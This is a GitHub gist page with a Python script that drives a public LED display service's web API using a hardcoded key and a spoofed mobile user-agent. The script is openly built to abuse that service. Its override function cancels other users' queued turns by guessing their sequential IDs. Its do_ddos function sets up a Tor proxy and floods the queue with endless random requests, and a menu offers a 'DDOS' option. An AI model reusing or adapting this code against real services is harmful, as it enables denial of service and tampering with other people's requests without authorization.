Created
January 19, 2020 13:21
-
-
Save danya02/b94f85b0a095da71cf1ef287d9c8e092 to your computer and use it in GitHub Desktop.
LED display thing Python control code. Yes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import re | |
base = 'http://magictime.moscow/' | |
obl_params = {'controller': 'stel', 'stel_key':'eccbc87e4b5ce2fe28308fd9f2a7baf3'} | |
useragent = 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1' | |
def request(method, params, **kwargs): | |
params.update(obl_params) | |
ans = requests.request(method, base, params=params, headers={'user-agent':useragent}, **kwargs) | |
#print(method, params, kwargs, '==>', ans.text) | |
return ans | |
def send_anime(anime_id, anime_type, **kwargs): # not kidding, this is what it's called UwU | |
return request('POST', {'action':'turn'}, data={'anime_id':anime_id, 'anime_type':anime_type}, **kwargs) | |
def get_turn_id(resp): | |
match = re.search('turn_id=[01234567890]*', resp.text) | |
turn_id = match.string[slice(*match.span())] | |
turn_id = turn_id.split('=')[-1] | |
return turn_id | |
def get_turn_data(turn_id): | |
return request('GET', {'action':'get_status_turn', 'turn_id':turn_id}).json() | |
def cancel_turn(turn_id): | |
return request('GET', {'action':'cancel', 'turn_id':turn_id}) | |
def override(anime_id, anime_type): | |
my_turn = get_turn_id(send_anime(anime_id, anime_type)) | |
print('My turn is:', my_turn) | |
my_turn = int(my_turn) | |
info = get_turn_data(my_turn) | |
print('My turn info is:',info) | |
num = info['turn_number'] | |
num = int(num) | |
print('I am number', num, 'in the queue') | |
to_kill = range(my_turn-1, my_turn-1-num, -1) | |
while 1: | |
info = get_turn_data(my_turn) | |
print('My stats:', info) | |
if info['turn_status']=='past': | |
print('My turn is past, exiting') | |
return 0 | |
for i in to_kill: | |
print('Cancelling turn number',i) | |
cancel_turn(i) | |
print('Stats:', get_turn_data(i)) | |
def do_ddos(): | |
import random | |
proxies = {'http': 'socks5://127.0.0.1:9050', 'https': 'socks5://127.0.0.1:9050'} | |
print(requests.get('https://httpbin.org/ip', proxies=proxies).text) | |
# return 0 | |
def anime_generator(): | |
while 1: | |
v = random.choice([79, 83, 87]) | |
yield (v, v+random.randint(1,3)) | |
turns = [] | |
for i in anime_generator(): | |
# turn_id = get_turn_id(send_anime(*i, proxies=proxies)) | |
turn_id = get_turn_id(send_anime(*i)) | |
print('new:', turn_id, end='; \n', flush=True) | |
turns.append(turn_id) | |
# new_turns = turns[:] | |
# for turn_id in turns: | |
# if get_turn_data(turn_id)['turn_status']=='past': | |
# new_turns.remove(turn_id) | |
# turns = new_turns | |
# print('len:', len(turns)) | |
cmd = input('Type "O" to override (does not seem to work) and spawn with tracking, "D" to DDOS, anything to spawn several:') | |
if cmd == 'O': | |
override(input('anime_id: '), input('anime_type: ')) | |
elif cmd == 'D': | |
do_ddos() | |
else: | |
n = int(input('number to spawn:')) | |
ai, at = input('anime_id: '), input('anime_type: ') | |
for i in range(n): | |
print('Spawned turn', get_turn_id(send_anime(ai, at))) | |
#import code | |
#code.interact(local=locals()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment